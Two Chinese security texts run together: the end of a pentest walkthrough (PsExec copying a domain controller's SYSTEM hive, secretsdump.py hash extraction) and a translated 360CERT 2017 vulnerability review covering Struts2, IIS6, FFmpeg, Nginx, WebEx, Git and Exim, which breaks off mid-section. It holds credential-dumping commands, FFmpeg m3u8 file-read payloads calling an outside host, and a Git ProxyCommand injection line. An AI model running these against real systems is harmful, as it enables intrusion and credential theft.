如图可见，该文件已经复制到LABONE主机上了。
最后，使用下列命令来复制SYSTEM文件：
PsExec.exe \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\System32\config\SYSTEM \\192.168.56.101\C$\xampp\htdocs\box\ps\"
命令成功执行，webshell显示一个文件成功复制的提示消息。还是来确认下文件是否已经复制过来，如图：
可以看到也已经存在于目录中了，现在两个文件都已经存在于LABONE这个主机上了，那我们就可以通过webshell来下载文件了。
现在我们可以使用[secretsdump.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
"secretsdump.py")这个Python脚本来提取ntds.dit和SYSTEM文件中的域，uid，rid LM和NT哈希值了，命令如下：
python secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
脚本跑完之后，结果如图： | 社区文章 |
# 2017年度安全报告––应用漏洞
##### 译文声明
本文是翻译文章
原文地址：<https://cert.360.cn/static/files/2017%E5%B9%B4%E5%BA%A6%E5%AE%89%E5%85%A8%E6%8A%A5%E5%91%8A--%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
## 摘要
应用程序作为计算机服务的直接提供者，其存在是必不可缺的。除了传统的CS应用之外还出现了各种的web应用，相应的还有提供web服务的各类web容器。应用是广泛的存在于我们的日常生活中的，如若其中出现了安全问题，将可能直接影响业务的正常运作。本文是360CERT对2017年应用安全的总结。
## 漏洞情况
将2017年所有披露的漏洞进行数据分析，统计出漏洞数top50的产品。其中系统类20个产品，应用类30个产品。可以看到漏洞最多的是Android，Linux
Kernel，Iphone OS，分别841，435，387枚漏洞。
筛选出应用类产品漏洞top10，大多来自Adobe，Microsoft，Apple和Google的产品。排在首位的是ImageMagick，他是一个免费的创建、编辑、合成图片的软件。查阅具体漏洞发现，其大多数都是文件解析及编辑器方面的问题，这种漏洞可以在短期内fuzz出来。不知为何2017年漏洞剧增，难道因为破窗效应？
像ImageMagick，2017年漏洞多达357枚，但是大部分是本地DOS和溢出，危害低且利用难度大。这也反映了整体现象：漏洞多，但是价值高的可利用漏洞太少。那么，接下来对2017年披露的有价值应用漏洞进行梳理：
### Struts2 S2-045/S2-046漏洞
2017年3月6日，Struts2发布了关于S2-045的漏洞公告，提及到可以通过构造好的Content-Type值来实现远程代码执行攻击，影响的版本为Struts2 2.3.5 – Struts2 2.3.31，Struts2 2.5 – Struts2
2.5.10。由于在默认的情况下便可触发漏洞，并且有人发出了可以实现命令执行的Payload导致该漏洞的影响不仅广而且利用成本低，从一些SRC平台上对该漏洞的提交情况也可以看出这一点。随后在20日出来的S2-046是在S2-045的基础上还存在其它的触发点。由于该漏洞造成的影响非常广，在这里进行回顾。
#### Struts2 及漏洞相关背景
Apache Struts2是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了 Java Servlet
API，鼓励开发者采用MVC架构。缘起于Apache Struts的 WebWork框架，旨在提供相对于 Struts
框架的增强和改进，同时保留与Struts框架类似的结构。2005 年 12 月，WebWork宣布WebWork 2.2以Apache
Struts2的名义合并至 Struts。
由于Struts2中的OGNL引擎功能比较强大，可通过其来访问Java对象的成员变量或方法，如果输入点可控便会造成安全问题。尽管Struts2也有安全管理器来避免通过OGNL来执行命令等一些危险的操作，但是该安全管理器也是一次又一次的被绕过。
#### 漏洞细节
借助JavaAgent来查看漏洞利用过程的调用栈
可以看到大体的流程为:
FileUploadInterceptor.intercept() --> LocalizedTextUtil.findText() --> LocalizedTextUtil.getDefaultMessage() --> TextParseUtil.translateVariables() --> OgnlTextParser.evaluate()
使用JavaAgent来查看调用栈的好处在于只有payload和漏洞环境的情况下就可以大致知道漏洞的利用过程，方便接下来做动态分析。下面再使用动态分析的方式来跟一下漏洞利用的整个过程，struts2会在StrutsPrepareFilter过滤器中将HttpServletRequest请求封装成StrutsRequestWrapper或是MultiPartRequestWrapper。而这个漏洞就是发生在对MultiPart请求的处理上，在StrutsPrepareFilter类中的doFilter方法中下断点即可。对于这里Get或是Post请求都是一样的
往下跟会进入wrapRequest方法
在这个方法中可以看到它是通过请求头中Content-Type的值中是否包含“multipart/form-data”来决定该请求是否为MultiPart请求，这也是为什么payload在Content-Type中需要包含“multipart/form-data”的原因，同时也说明了在利用的时候并不需要去构造一个上传文件的包了，只需要在请求中修改Content-Type的值包含“multipart/form-data”就行。接着通过getMultiPartRequest方法来获取MultiPart请求的处理类。
可以看到该方法从容器中获取了名字为multipartHandlerName的值的一个实例来作为处理器。而multipartHandlerName的值来自于配置中的struts.multipart.parser的值，该值默认为”jakarta“，也就是说最终获取到的是一个JakartaMultiPartRequest类的实例，而问题就是出现在该类中，这也解释了为啥这个漏洞能影响这么大，因为在默认的情况下就可以被利用。
继续往下跟的时候会进入JakartaMultiPartRequest类中的parseRequest方法，再跟入FileItemIteratorImpl类中的构造方法。
可以看到这里有一个对ContentType的值得判断，要不是以“multipart/”开头的话便会抛出一个InvalidContentTypeException的异常，跟下去看它对这里的异常信息是如何处理的，因为这个异常信息里是包含着Content-Type的值的，也就是说里面包含着payload中构造好的OGNL表达式。再往下跟直到OGNL表达式执行就是一开始通过JavaAgent看到的调用栈中的过程了，看一下translateVariables方法：
会通过以$或是%字符开头来提取出真正的表达式，所以在payload中使用${}来写一样是可以的。
S2-046是在S2-045的基础上的，触发流程一样，触发点不一样了。在Streams类中的checkFileName方法会对文件名进行检查，若是包含空字节的话会抛出InvalidFileNameException异常。
其中异常信息含有完整的文件名，这里的异常信息也经过了和S2-045一样的处理，也就是说文件名中的OGNL表达式也会被执行。针对该漏洞的利用只需要在模拟文件上传时在Content-Disposition的filename中加入空字节，并将OGNL表达式写到filename就好S2-046还有一个触发方式是Content-Length长度超过 2M，但是这种触发需要配置struts.multipart.parser为jakarta-stream才行。
#### 总结
Struts2的安全问题层出不穷，它的漏洞往往影响比较大，同时漏洞点也经常会别人吐槽。若不是业务必要应该使用安全性更好的框架来替代它。同时也可以由此去考虑一些别的框架在使用语言表达式的时候是否会存在一些类似的安全性问题。
### Struts2 S2-052漏洞
2017年9月5日，Apache Struts发布最新安全公告，Apache
Struts2的REST插件存在远程代码执行的高危漏洞，该漏洞由lgtm.com的安全研究员汇报，漏洞编号为CVE-2017-9805（S2-052）。Struts2
REST插件的XStream组件存在反序列化漏洞，使用XStream组件对XML格式的数据包进行反序列化操作时，未对数据内容进行有效验证，存在安全隐患，可被远程攻击。
#### 漏洞相关背景
Xstream是一个Java类库，用来将对象序列化成XML或者通过XML反序列化为对象。Struts2启用了rest-plugin后接收到XML格式数据时会使用XStreamHandler来处理，也就是通过XML反序列化为对象。若XML为利用Gadget构造好的恶意数据，在反序列化的过程中可以导致远程代码执行。
#### 漏洞细节
文件/org/apache/struts2/rest/ContentTypeInterceptor.java
在struts2 rest-plugin 中的处理逻辑里接受到对应格式的消息时，会调用已经注册的对应handler的
handler.toObject方法对其进行实例化，在这里传入的xml消息，所以就会跳转到已经定义的XStreamHandler的toObject方法
在经过此处的fromXML方法后导致实例化的恶意对象被执行，导致恶意代码执行
随即看到计算器被成功弹出
#### 总结
这个漏洞应该是s2的官方插件中首次受到xml序列化的影响，而反观之前早已有许多的php反序列化和python反序列化以及java自身的反序列化的问题存在，而过去的这些漏洞应该早已为我们敲响了序列化这个行为的警钟，对数据进行序列化，势必需要完整且严密的校验，而这个插件中对传入数据直接进行操作的，明显开发者没有对这块数据的安全性和合法性产生过重视行为，我们建议开发者子在开发的时候要基于一切用户输入都是不可信的原则进行过滤和相应的校验，这样才能有效的避免一些明显的安全问题。
### DotNetNuke CVE-2017-9822 漏洞
2017年7月份的BlackHat上Alvaro Muñoz (@pwntester)和Oleksandr
Mirosh的议题中讲述了在.net中使用JSON来进行序列化和反序列存在的一些安全问题，同时也提及到了另外的一种格式XML，用到了DotNetNuke中的一处反序列漏洞来做例子。通过对该漏洞的分析来了解针对XML格式反序列化在.net中的利用方式。
#### 漏洞相关背景
XmlSerializer是.net中用于在对象和XML文档之间进行序列化和反序列化操作的类，其功能和Java中的Xstream是一样的，但是由于语言的特性不一样，它们对序列化和反序列化的实现方式也是不一样的。所以即使是同样的对XML数据反序列化利用，它们的自动触发和利用方式是不一样的。
#### 漏洞细节
PersonalizationController.cs 66-72行：
从Cookie中获取到DNNPersonalization的值后再传给Globals中的DeserializeHashTableXml方法。
Globals.cs 3687-3690行：
再跟进XmlUtils中的DeSerializeHashtable方法。
XmlUtils.cs 184-218行：
这个方法会使用item元素中的type属性值来设置类型，并且会在208行这里将该元素的内容进行反序列化，这里便是漏洞的触发点了。漏洞代码中从可控输入点到最终可利用处的这个过程还是比较直观的，接下来是针对像这样使用了XmlSerializer来反序列化的漏洞点进行攻击利用分析。
#### 利用分析
XmlSerializer在对一个类进行序列化或者反序列化的时候都需要传入该类的类型信息。
先修改下上面的TestClass类，对其中的成员变量test进行封装。
这时候再去观察代码在反序列化时的输出，可以明显知道setter被自动调用了，因此setter便可以作为利用链的第一步。接下来就是要去找一些可以被用作攻击使用的类了。
System.Windows.Data.ObjectDataProvider可以调用任意在运行时被引用的类的任意方法。一个例子：
相当于调用了TestClass.FuncExample(“JustATest!”)，ObjectDataProvider中的成员变量都进行了封装的，并且每次调用了setter后都会检测参数是否足够，足够了的话便会自动去调用传入的方法。其中的过程借用BlackHat议题中的一张图来展示。
如此一来要是被序列化的是一个ObjectDataProvider类，那么在反序列的时候便可以做到任意方法调用的效果。再找一个存在能达到想要的利用效果的方法的类就行了，例如DNN中的就存在一个可以做到任意文件上传效果的类，DotNetNuke.Common.Utilities.FileSystemUtils中的PullFile方法：
#### 总结
在2015年和2016年间Java反序列化漏洞造成的影响非常广而且威力大引起了人们对该类型漏洞的重视，相对于常见的字符串和二进制的序列化数据格式，同样我们亦应该关注其它格式的序列化和反序列化会存在的安全问题，不一样的处理方式意味着可能存在不一样的利用方法。值得一提的是今年F5威胁研究人员发现该漏洞同S2-045/046一起被用到名为Zealot的攻击中去。
### IIS 6.0 WebDAV CVE-2017-7269漏洞
2017年3月27日，来自华南理工的zhiniang Peng和Chen Wu在Github
上公开了一份对开启了WebDAV服务的IIS6.0的攻击代码，漏洞编号为CVE-2017-7269。并表示在2016年7月和8月份发现该漏洞在野外利用。
#### 漏洞相关背景
虽然微软于2015年7月14日停止了对IIS6.0的更新支持，但在国内仍然有大量用户，微软在2017年6月13推出了相关Windows Server
2003补丁。在2017年4月14日 ShadowBrokers
更新的NSA黑客工具中，Explodingcan便是相关开启了WebDAV服务的Windows 2003 IIS 6.0攻击程序。
WebDAV是一种基于HTTP
1.1的通信协议。扩展了HTTP1.1，添加了新的方法，使应用程序可对WebServer直接读写，攻击关键使用的方法PROFIND，用于返回指定目录的内容。
#### 漏洞细节
漏洞点：
qmemcpy在进行拷贝处理时，没有对长度进行检查，导致溢出
漏洞触发流程：
对漏洞函数ScStoragePathFromURL打断点，并查看栈回溯。可以发现调用栈中的DAVPropFind。对Execute成员函数进行分析，调用了HrCheckStateHeaders，进而调用HrCheckIfHeader
在qmemcpy(&v35[v22], v29, 2 * v28 + 2)函数中
// v28 = v7 – v27 , v7为url长度值
// 而&v35[v22] 的地址，是在栈中，
可以看到因为对复制长度没有做限制，目标地址在ebp-450h上，在这里造成了栈溢出发生。如果想通过覆盖返回地址执行任意代码，会看到起用了栈保护机制，想要攻击成功会破坏security_cookie。
ScStoragePathFromURL的调用者ScStoragePathFromURL会使用IFITER::PszNextToken，对httpurl进行处理，连续获取<>中的值，直至跳出循环。
1. 第一次处理http url过程中，没有直接覆盖返回地址，而是覆盖stackbuffer(stackbuffer通过VStackBuffer获取，存在栈中，所以会被覆盖)，使用地址0x680312c0（这个地址是一个堆地址）覆盖。
2. 第二次获得<http://localhost/bbbbb…>，qmemcpy拷贝目的地址应该是栈地址，但是由于第一次栈溢出，覆盖了stack buffer的地址，变成了堆地址，所以不需要控制长度，溢出到堆地址了。
3. 在这个堆地址的偏移中，存放着IEcb的vftable，通过覆盖虚表函数达到代码执行。
4. 控制EIP后，使用了alpha shellcode和shareduserdata，做到任意代码执行
可以看到，发送payload之后，靶机执行了calc程序，进程由w2wp创建，用户组是NETWORK_SERVICE。
更多攻击实例可以参考NSA 的 Explodingcan工具。
#### 总结
从非技术层面分析，一款已经被时代淘汰的产品，仍然有如此大量的使用量，在第三方分析网站中，截止2017年11月27日，美国、中国、印度仍各疑似有9346、6766、1454例可供公开访问的IIS服务受影响（这些不包括未知数量不能直接从互联网访问的IIS服务）。
2015年停止更新、2016被捕获到野外利用、2017年3月公布攻击代码，4月被发现出现在NSA
攻击工具中，在迟迟等来的官方6月更新中，发现更新文件在2016年10月创建，种种现象表明，网络并不安全。
### FFmpeg 安全问题
2017年6月27日 hackerone
公开了一个关于FFmpeg本地文件泄漏的报告。该报告中描述为25日公开的另一个FFmpeg本地文件泄漏相关。该漏洞Emil Lerner和Pavel
Cheremushkin在今年的phdays conference中已经披露。
#### FFmpeg及漏洞相关背景
FFmpeg是一个非常强大且运用广泛的多媒体框架，可以解码，编码，转码，播放几乎所有格式的多媒体文件。其基本工作流程如下：
原始的封装视频 –> demux分离器对封装的视频资源进行分离 –> 得到音频资源和视频资源 –> 进行解码 –> 得到解压后的音频资源和视频资源 –>
进入filter进行编辑处理 –> 得到处理后的音频资源和视频资源 –> 对资源编码得到转码后的音频资源和视频资源 –> 进入mux混合器进行封装 –>
得到转码封装后的视频。
虽然FFmpeg非常强大，但是正因为它强大的格式适配能力，加之各种流媒体协议的多样性，有可能对FFmpeg产生意想不到的安全威胁。
一般流媒体协议分为两种，一种是通过HTTP渐进下载的(如HLS,flash渐进式)，另一种则是RTSP形式的实时流媒体协议。HLS是Apple提出并推广的，全称为HTTP
Live Streaming。它会把整个视频流分成多个小的，基于 HTTP
的文件来下载，每次下载一部分，并把视频流元数据存放于m3u8文件中。m3u8本身并不是视频文件，它只会指定应该播放的视频资源，而真正播放的视频资源是下载下来的ts文件，可以把m3u8理解为一个配置文件，配置文件中指定了ts为播放文件，一个简单的m3u8如下：
#EXTM3U
#EXT-X-MEDIA-SEQUENCE
#EXT-X-TARGETDURATION
#EXT-X-ALLOW-CACHE
#EXT-X-ENDLIST
#EXTINF
redrain.ts 真正播放的视频资源
当然，这个视频资源也可以是一个远程资源：
#EXTM3U
#EXT-X-MEDIA-SEQUENCE
#EXT-X-TARGETDURATION
#EXT-X-ALLOW-CACHE
#EXT-X-ENDLIST
#EXTINF
http://www.redrain.sb/test.mp4 远程资源
#### 漏洞细节
在上个月的phdays conference里，通过视频格式的一个trick bypass了厂商对SSRF的封堵。
在AVI视频中，有一个数据块可以定义字幕，叫做GAB2，位置于AVI
header中，有趣的是m3u8可以插入到avi文件中，且FFmpeg依旧会对有文件头#EXTM3U的AVi视频做HLS处理。
所以我们可以通过对含有GAB2 header的AVI视频中嵌入m3u8，bypass厂商对CVE-2016-1898的修复。
只需要将之前的PoC嵌入AVI中，依然可以读取到目标文件。
[AVI header GAB2 header]
#EXTM3U
#EXT-X-TARGETDURATION:6
#EXTINF:10.0,
concat:http://rr.sb/poc/header.m3u8|file:///tmp/vuln
#EXT-X-ENDLIST
[AVI body footer]
Emil Lerner和Pavel
Cheremushkin在会议中其实披露了多个FFmpeg的漏洞，其中一个最为有意思的，也就是在hackerone公开报告中用到的漏洞，把读取到的文件内容输出到视频中，从而可以让文件读取可以在无网络环境的情况下利用。
利用思路如下：
同样将m3u8嵌入到带有GAB2的AVI视频中，对文件格式检查进行bypass。
因为之前说过，m3u8并不是真正的视频资源，所以如果要播放，必须还要在m3u8中嵌入一个可播放的视频资源，其中有一个古老的媒体格式XBin，这个媒体格式具备基本显示图片，文本的功能，体积非常小，最重要的是，这个媒体格式可编程，如果嵌入到m3u8中，将目标文件作为对象，用xbin绘制成为字符，就可以作为合法可播放的视频文件观看了，所以依次嵌套后，文件内容大致为：
[AVI header]
[GAB2 header]
[m3u8 header]
[XBIN header]
目标文件
[XBIN footer]
[m3u8 footer]
[AVI footer]
但FFmpeg检查了body中的非法字符串，所以无法使用data:对XBIN格式声明：
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:1
#EXTINF:1.0,
data:<format-header>
#EXTINF:1.0,
file:///etc/passwd
#EXTINF:1.0,
data:<format-footer>
#EXT-X-ENDLIST
但是m3u8支持AES128的CBC模式加密，可以在 ** _#EXT-X-KEY_** 中进行设置，所以可以很简单加密m3u8的内容：
…
#EXTINF:1,
#EXT-X-KEY:METHOD=AES-128, URI=/dev/zero, IV=<VAL>
#EXT-X-BYTERANGE: 16
/dev/zero
…
= AES^-1 CONST(0x00…00) ⊕<VAL> = <FMT HEADER>
由于m3u8单次访问目标文件获取到的内容不完整，为了获得完整的文件内容，还需要控制 ** _#EXT-X-BYTERANGE_**
设置偏移量，然后重复这一部分。
最终，我们得到的文件应该是这样的：
[AVI header]
[GAB2 header]
[m3u8 header]
{loop}
#EXT-X-KEY:METHOD=AES-128, URI=/dev/zero, IV=<VAL> 声明m3u8的AES加密，将XBIN部分加密
[XBIN header] 被加密
目标文件
[XBIN footer] 被加密
{loop}
[m3u8 footer]
[AVI footer]
执行后，读取的目标文件内容成功输出在ffplay的播放器中：
### 总结
FFmpeg作为目前来说最广泛的多媒体框架，它的强大之处毋庸置疑，但是正因为适配了尽可能多的媒体格式，其中一些沿用至今的古老格式或是一些特殊的标准协议，都可能给FFmpeg带来不一样的可能性，而缺乏沙箱的设计有可能还会有更多的利用可能性，关于媒体处理的服务组件或软件将会暴露出更多问题。
### Nginx CVE-2017-7529漏洞
2017年7月11日，Nginx在官方公告中称发现了一个范围过滤器中的安全问题，并分配了CVE-2017-7529。通过精心构造的恶意请求能造成整数溢出，对范围值的不当处理会导致敏感信息泄漏。该漏洞影响所有0.5.6
–
1.13.2版本内默认配置模块的Nginx只需要开启缓，存攻击者即可发送恶意请求进行远程攻击造成信息泄露。当Nginx服务器使用代理缓存的情况下，攻击者通过利用该漏洞可以拿到服务器的后端真实IP或其他敏感信息。通过我们的分析判定，该漏洞利用难度低，可以归属于low-hanging-fruit的漏洞。在真实网络攻击中也有一定利用价值。
#### 漏洞相关背景
由于计算机中整数都有一个宽度，因此它就有一个可以表示的最大值。当我们试图保存一个比它可以表示的最大值还大的数时，就会发生整数溢出。这种情况导致的后果是不确定的，当用户提供的输入可以触发整型溢出，且被用于循环控制，访问控制，或者内存分配等行为时，这种情况下会导致安全问题。其中OpenSSH
3.3有一个比较经典的整数溢出例子：
nresp = packet_get_int();
if (nresp > 0) {
response = xmalloc(nresp*sizeof(char*));
for (i = 0; i < nresp; i++) response[i] = packet_get_string(NULL);
}
如果sizeof（char *）的值为4且nresp的值为1073741824，则操作nresp * sizeof（char
*）的结果溢出，并且xmalloc（）的参数将为0。malloc将正常分配一个0字节的缓冲区，导致后续的一系列缓冲区问题。
#### 漏洞细节
通过查看patch确定问题是由于对http header中range域处理不当造成，焦点在ngx_http_range_parse函数中的循环：
HTTP头部range域的内容大约为Range:
bytes=4096-8192，bytes=<start>-<end>，字符串指针p中即为“bytes=”后面的内容，这段代码是要把“-”两边的数字取出分别赋值给start和end变量，标记读取文件的偏移和结束位置。
对于一般的页面文件这两个值怎么玩都没关系。但对于有额外头部的缓存文件若start值为负（合适的负值），那么就意味着缓存文件的头部也会被读取。
一个缓存文件的例子：
如此我们来看看如何构造Range内容才能把start设计为负值。首先代码中cutoff和cutlim阀量保证了每次直接从串中读取时不会令start或end成负值。那么能令start为负的机会仅在suffix标记为真的小分支中。因此我们需令suffix
=
1，由此可推知Range的内容必然为Range:bytes=-xxx，即省略初始start值的形式。那么我们可以通过Range中设end值大于content_length（真正文件的长度），这样start就自动被程序修正为负值了。但是在写利用过程中发现一个问题，若end值很大那么start的绝对值也会很大，会超过缓存文件的起始头部，造成读取失败。若end值不够大，那么换算下来size
= end – 1 >= content_length （end > content_length见前文所述），就不能通过循环外面的检测：
这样的话似乎无论设end为何值都无法达成利用了。继续跟进代码发现这个循环是个无条件循环：
尾部为：
也就是说若Range域形如Range: bytes=start-end,start1-end1,…，就还有机会继续完成利用。我们可以构造一个Range:
bytes=-X,
-Y一大一小两个end值，只需要控制前面一个end值小而后一个end值大，从而实现start值和size值皆为负数，控制start值负到一个合适的位置，那么就能成功利用读到缓存文件头部了。
Nginx 默认模块配置开启缓存：
缓存文件内容如下：
利用漏洞成功读取反向越界读出491字节：
#### 总结
对于整型溢出漏洞，最大的特点是在发生时不太容易被发现，也就是说，当整数溢出产生的时候，应用程序并不知道计算是错误的，会继续计算下下去。很难说整型溢出会导致什么样的安全问题，在不同位置的整数溢出，产生的效果也是不同的。最常见的，在循环位置的整数溢出可能导致Dos，配合缓冲区，有的会达到信息泄露，甚至代码执行的效果。在CVE-2017-7529这个漏洞了，由整型溢出可以控制start，合适的位置时可以读到缓存文件头部。这样的话就能达到获取内网IP的效果。因为该漏洞影响范围广且利用难度低，0.5.6
– 1.13.2版本内默认配置模块的Nginx只需要开启缓，存攻击者即可发送恶意请求进行远程攻击造成信息泄露。
### Cisco WebEx CVE-2017-6753漏洞
2017年7月17日，思科安全更新中，修补了一枚远程代码执行的漏洞，编号CVE-2017-6753。Cisco WebEx
浏览器插件漏洞可以导致未经认证的远程攻击者，使用Web 浏览器权限执行任意代码。该漏洞影响到所有Windows 系统上的WebEx 插件，包括 Cisco
WebEx Meetings Server, Cisco WebEx Centers (Meeting Center, Event Center,
Training Center, and Support Center)。该漏洞影响Windows下安装了Cisco WebEx插件的 Chrome 和
Firefox 用户。
#### 漏洞相关背景
Cisco WebEx 网络和视频会议是一种可在任何地方使用任何移动设备或视频设备与任何人在线交流想法和信息的工具，既经济又便捷。Cisco WebEx
插件允许浏览器与安装在计算机上的 Cisco WebEx 会议应用程序进行通信。
其中atgpcext库在使用自己的json解析器时和客户端解析json的结果不一致 。
例如object={ “foo”: 1, “foo\0”: 2 }，Chrome得到object.foo =
1而atgpcext解析得到object.foo = 2。
#### 漏洞细节
我们使用Cisco WebEx extension for Google Chrome version
1.0.10，同时使用https://lock.cmpxchg8b.com/JauChal3/webex.html中的PoC进行调试。PoC主要内容如下：
通过触发content_script.js中的native_message事件：
之后执行RollbackGpcExt()
在RollbackGpcExt()中触发插件中connect和message事件，向插件发送message_type为launch_meeting的消息，触发message后会调用content_script.js中的sendMessage发送消息：
sendMessage()中，在postMessage之前会使用verify()对发送的消息进行校验，跟入verify()：
可以看到，在校验了message_type为launch_meeting后，对message进行了解析，调用JSON.parse(b.message)，将传入的消息被进行json解析，解析之后，判断当前为Windows系统，接着分别判断了:
GpcExtName='atgpcext'
GpcUnpackName='atgpcdec'
然后对GpcInitCall进行校验，使用verifyScriptCall():
传入之前内容为:
V2ViRXhfRXhwbG9pdCgpOw==
即WebEx_Exploit();
其中使用正则：
/^(WebEx_|A[sT][ADEPSN]|conDll|RA[AM])|^(Ex|In)it|^(FinishC|Is[NS]|JoinM|[NM][BCS][JRUC]|Set|Name|Noti|Trans|Update)|^(td|SCSP)$/
进行检查，这里的正则并不是十分严格，可以轻松绕过。
verify()最后再使用/\\.dll$|\\.bundle$|\\.app$/正则以及白名单whiteList对GpcComponentName进行检查，白名单内容如下：
通过白名单之后使用postMessage：
最后全部检查完毕就调用sendGoogleAnalyticMessage发送消息：
接下来看看TriggerExploit:
GpcComponentName中我们调用msvcr100.dll，这个dll并不存在于白名单中，输入的Message进入sendMessage中的verify中：
在解析之前我们看到：
"GpcComponentName":"YXRtY2NsaS5kbGw=",
"GpcComponentName\u0000":"bXN2Y3IxMDAuZGxs"
解析之后：
"GpcComponentName\u0000":"bXN2Y3IxMDAuZGxs"被正常解析为：
"GpcComponentName ":"bXN2Y3IxMDAuZGxs"
进入GpcInitCall进入verifyScriptCall检查：
因为verifyScriptCall存在缺陷，GpcInitCall中的内容在经过verifyScriptCall检查后，仍然如下：
X3dzeXN0ZW0oT2JqZWN0QWRkcmVzcyk9V2ViRXhfRXhwbG9pdDs=
base64解码后：
_wsystem(ObjectAddress)=WebEx_Exploit;
最后白名单检查时，因为存在两个GpcComponentName，其中第一个为atmccli.dll，所以可以通过白名单：
进入postMessage的message中：
"GpcComponentName":"YXRtY2NsaS5kbGw=", atmccli.dll
"GpcComponentName\u0000":"bXN2Y3IxMDAuZGxs", msvcr100.dll
"GpcInitCall":"X3dzeXN0ZW0oT2JqZWN0QWRkcmVzcyk9V2ViRXhfRXhwbG9pdDs=" _wsystem(ObjectAddress)=WebEx_Exploit;
最后可以通过_wsystem(ObjectAddress)的方式成功执行命令。
#### 总结
该Cisco
WebEx的漏洞主要是由Web插件中JavaScript代码针对json解析问题以及黑名单过滤不完整导致页面传入的非法数据，最终在客户端上的命令执行问题。
浏览器是用户日常使用中频率最高的软件之一，而浏览器上插件的安全性直接影响浏览器的安全。我们之后也将会持续关注浏览器插件相关的安全性问题。
### Git ssh CVE-2017-1000117漏洞
在2017年8月10日Junio C Hamano在邮件组www.mail-archive.com发布了这一问题。恶意攻击人员可以通过巧妙构造“ssh://…”链接，让受害人在执行git程序等情况下访问该恶意链接，从而达到命令执行的目的。该链接可以被放在
git 项目的 .gitmodules 文件下，这样当受害人对一个项目进行“git clone –recurse-submodules”操作时，就会引发严重安全问题。漏洞影响包括但不限于
Git，SVN，CVS，HG，Gitlab，GithubDesktop，SourceTree 等。
#### 漏洞相关背景
git是一个分布式版本控制软件，最初由林纳斯·托瓦兹（Linus
Torvalds）创作，于2005年以GPL发布。最初目的是为更好地管理Linux内核开发而设计。应注意的是，这与GNU Interactive
Tools（一个类似Norton Commander界面的文件管理器）有所不同。
git最初的开发动力来自于BitKeeper和Monotone。git最初只是作为一个可以被其他前端（比如Cogito或Stgit）包装的后端而开发的，但后来git内核已经成熟到可以独立地用作版本控制。很多著名的软件都使用git进行版本控制，其中包括Linux内核、X.Org服务器和OLPC内核等项目的开发流程。
Secure
Shell（安全外壳协议，简称SSH）是一种加密的网络传输协议，可在不安全的网络中为网络服务提供安全的传输环境。SSH通过在网络中创建安全隧道来实现SSH客户端与服务器之间的连接。虽然任何网络服务都可以通过SSH实现安全传输，SSH最常见的用途是远程登录系统，人们通常利用SSH来传输命令行界面和远程执行命令。使用频率最高的场合类Unix系统，但是Windows操作系统也能有限度地使用SSH。2015年，微软宣布将在未来的操作系统中提供原生SSH协议支持。
在设计上，SSH是Telnet和非安全shell的替代品。Telnet和Berkeley
rlogin、rsh、rexec等协议采用明文传输，使用不可靠的密码，容易遭到监听、嗅探和中间人攻击。SSH旨在保证非安全网络环境（例如互联网）中信息加密完整可靠。
这两者都是互联网中最被广泛使用的软件，git的一部分ssh协议的处理会交给本地的ssh来处理，而ssh这个软件本身是支持传入一定的命令进行执行。
#### 漏洞细节
该漏洞主要由于SSH链接在hostname部分，若是用“-”开头，那么会导致ssh命令将hostname误认为这是一个选项。因此，我们可以利用“-oProxyCommand”选项来达到命令执行的目的。
在进行git clone 时候会调用到git/connect.c中“struct child_process git_connect(int fd[2],
const char url,const char *prog, int flags)”函数。其接受到的参数url为命令中“git clone
xxx://xxxxxxxxxx/xx(.git)”的xxx://xxxxxxxxxx/xx(.git)部分。在该函数中会对传入的这个字符串进行parse，提取其协议部分。在满足协议为ssh://的时候会进入该函数的else部分。
然后根据下面的流程调用本地的ssh
* 首先获得本地的ssh路径，然后push进conn->args
* 然后获得url中ssh_host部分再拼接路径
* 最后调用start_command函数进行命令执行
start_command的定义在git/run-command.c
int start_command(struct child_process *cmd)
将传入的cmd经过处理赋值给argv
经过execve这个函数进行命令执行，但是在这个这个命令执行的内容是
/usr/bin/ssh `ssh_host` path
ssh -oProxyCommand=gnome-calculator xxx将会在本地打开gnome的计算器
所以如果我们在clone 操作的时候将连接指定为git clone ssh://-oProxyCommand=gnome-calculator/cert将取得同样的命令执行的效果
#### 总结
Git
ssh命令注入漏洞核心的原因在于在对hostname进行parser的过程中存在一定的异议,也就导致会可以向本地的ssh软体注入一定的参数来执行命令，而和submodule的结合,更是提供了更为广泛的攻击面。关于parser尤其是会和其他软体进行交互的处理应该进行更为严格的过滤，遵从一切用户输入都是有害的不可信的原则进行处理.在2017的BlackHat
更是提出了url
parser在各个语言中存在着的问题，parser这种接受用户输入作为主要功能实现的点尤其值得我们进行关注，因为完全由用户输入作为主要依据来进行功能的选择，但值得庆幸的是，通过这些事件和报告后，无论是开发人员，还是安全人员都对这些方面投入了更多的精力去思考去完善。
### CVE-2017-16943 Exim-UAF漏洞
第一个版本的Exim是由Philip Hazel在1995年编写的，用于剑桥大学计算服务的电子邮件系统。它最初是基于一个较老的MTA，Smail
-3，但它的设计和理念已经从Smail-3中分离出来了。Exim高度可配置，因此具有其他MTA中没有的功能。它的邮件策略控制功能，为管理员提供了控制谁可以通过系统发送或中继邮件。在4.x版本中，这已经成熟为基于访问控制列表的系统，允许非常详细和灵活的控制。4.x版本中集成了一个内容扫描框架，可以更轻松地整合反病毒和反垃圾邮件措施。这使得Exim非常适合执行不同的邮件策略。
#### 漏洞相关背景
2017年11月25日，Exim官方修复了一处use-after-free的漏洞，由台湾安全公司DEVCORE的研究人员Meh发现，CVE编号为：CVE-2017-16943，并公布了一份POC，但是根据我们的分析跟进，该POC必须将配置文件中的dkim开启才能达到控制EIP，造成进程崩溃的效果。2017年12月11日，Meh在DEVCORE官网公布该漏洞的具体细节和默认配置下的POC。
#### 漏洞细节
##### 开启dkim配置下控制rip
exim一共管理着三种堆，定义成枚举类型的全局变量：
POOL_MAIN:表示主要的分配的堆块，可以被释放，消息的处理会在该堆池中分配。
POOL_PERM:表示分配的内存是永久的，直到进程结束才会被释放，保存一些需要共享的信息,例如配置信息，host信息，在使用这块堆池分配前会将store_pool改为POOL_PERM，再调用store_get()。
